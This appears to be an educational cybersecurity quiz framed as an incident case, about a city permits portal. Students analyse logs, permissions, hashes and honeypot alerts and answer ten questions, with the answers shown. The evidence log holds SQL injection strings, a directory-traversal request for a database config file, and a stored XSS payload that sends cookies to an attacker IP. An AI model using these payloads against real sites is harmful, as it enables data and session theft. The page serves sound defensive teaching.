Vantage City Case Files · Unit 5 boss level
Case 05: The Vantage City Permits Portal
Thursday 09:15. Residents report that the Vantage City building permits portal shows a strange pop-up, and a local news site claims it has a list of permit applicants’ home addresses. You are the application security analyst. Four pieces of evidence came off the portal’s web server, PERMITS-WEB (internet protocol (IP) address 10.60.4.10). You will meet structured query language (SQL), cross site scripting (XSS), the Advanced Encryption Standard (AES), the RSA algorithm, hypertext transfer protocol (HTTP) requests and Secure Hash Algorithm 256 (SHA-256) hashes. Work through ten questions to close the case.
The evidence
| Line | Time | Source IP | Request | Status |
|---|---|---|---|---|
| 1 | 21:02 | 10.60.7.31 | GET /permits?id=2026-0412 | 200 |
| 2 | 21:40 | 198.51.100.88 | GET /permits?id=2026-0412' OR 1=1 -- | 200 |
| 3 | 21:41 | 198.51.100.88 | GET /permits?id=0 UNION SELECT name, home_address FROM applicants | 200 |
| 4 | 21:55 | 198.51.100.88 | GET /forms?file=../../../../srv/portal/config/db.conf | 200 |
| 5 | 22:10 | 198.51.100.88 | POST /feedback msg=<script>document.location="//198.51.100.88/p?c="+document.cookie</script> | 201 |
| 6 | 22:14 | 10.60.7.32 | GET /forms?file=fence-application.pdf | 200 |
HTTP status 200 means the server answered the request; 201 means something new was saved.
| Permissions | Owner | Group | File |
|---|---|---|---|
| -rw-r--r-- | portal | devteam | db.conf (database username and password) |
| -rw-r----- | portal | devteam | app.conf |
| -rwxr-x--- | portal | devteam | rotate_logs.sh |
The web application runs as the user portal. Only the devteam group should be able to read configuration files.
| Time | User | Device | Action | File |
|---|---|---|---|---|
| 10:20 | r.alvarez | CITY-LAP-12 | open | /permits/2026/0412.pdf |
| 22:31 | svc_report | unknown | copy | /exports/applicants_full.csv |
| 22:33 | svc_report | unknown | open | /exports/staff_bank_details.xlsx |
| 22:40 | svc_report | unknown | delete | /logs/access.log.1 |
staff_bank_details.xlsx is a honeypot: it holds fake data and no one has a reason to open it. svc_report normally runs a report at 06:00 from 10.60.4.10.
| File | Baseline hash | Today’s hash |
|---|---|---|
| index.php | 2c9e...41d7 | 2c9e...41d7 |
| feedback.php | 7a0b...e352 | 7a0b...e352 |
| login.php | d41f...08ab | 93c6...7f12 |
| applicants.db | 5be3...c9a0 | 5be3...c9a0 |
No updates were installed between the two hashes.
The questions
-
1. Lines 2 and 3 in Evidence 1 most likely show which attack, and which security goal did it breach?
Show answer
Answer: B. A quote, OR 1=1, the -- comment and SQL control words UNION, SELECT and FROM in user input are indicators of structured query language (SQL) injection. Returning applicants’ names and addresses is a breach of confidentiality. CED 5.1.B.4, 5.6.E.1
-
2. Line 4 in Evidence 1 returned status 200. What does this most likely mean?
Show answer
Answer: C. The ../ sequences climb out of the forms folder to the config folder. Status 200 means the server answered. The application runs as portal, the owner of db.conf, so it could read the file and return it. CED 5.6.E.4
-
3. Which statement best describes line 5 in Evidence 1?
Show answer
Answer: C. A script tag posted through a form and saved (201) is stored cross site scripting (XSS): it affects every user who loads the page, which explains the residents’ pop-up. CED 5.1.B.6, 5.6.E.2
-
4. Which single change to the portal’s code would best help prevent the attacks in lines 2, 3, 4 and 5?
Show answer
Answer: A. Input sanitization protects against SQL injection, XSS and directory traversal attacks. Encryption and honeypots do not stop the input from being processed. CED 5.5.B.1, 5.5.B.2
-
5. Which command applies least privilege to db.conf while letting the owner read and write it and the devteam group read it?
Show answer
Answer: B. Owner rw- (6), group r-- (4), others --- (0). The current 644 lets every other user read the database password. CED 5.2.D.6, 5.2.C.7
-
6. Select every entry in Evidence 3 that is an indicator of an attack on data.
Show answer
Answer: B, C, D. Copying sensitive files outside the account’s normal time and device, opening the honeypot and deleting a log are all suspicious. r.alvarez opened one permit during the day on a city laptop. CED 5.6.A.1, 5.6.A.2
-
7. Based on Evidence 4, which file was altered?
Show answer
Answer: C. Only login.php has a different hash, and no updates were installed, so it was altered between the two hashes. CED 5.6.D.3
-
8. The hash of applicants.db did not change, yet applicant data were stolen. Which of the following best explains this?
Show answer
Answer: C. Cryptographic hash functions only detect if data have been altered. Viewing or stealing data without altering them produces a false negative. CED 5.6.C.3
-
9. Applicants’ names and home addresses were exposed. How should the city classify these data?
Show answer
Answer: A. PII is any data that allows someone to be identified, including name and address. CED 5.2.A.3, 5.2.A.4
-
10. The honeypot was opened at 22:33, but no one noticed until the news story the next morning. Which change would most help the city respond during the next attack?
Show answer
Answer: C. Honeypots offer near instantaneous detection when they raise alerts, allowing a prompt response. Retrospective reviews and hash checks find attacks only after they occur. CED 5.6.C.1, 5.6.C.2
Case report
Your score is saved only in this browser.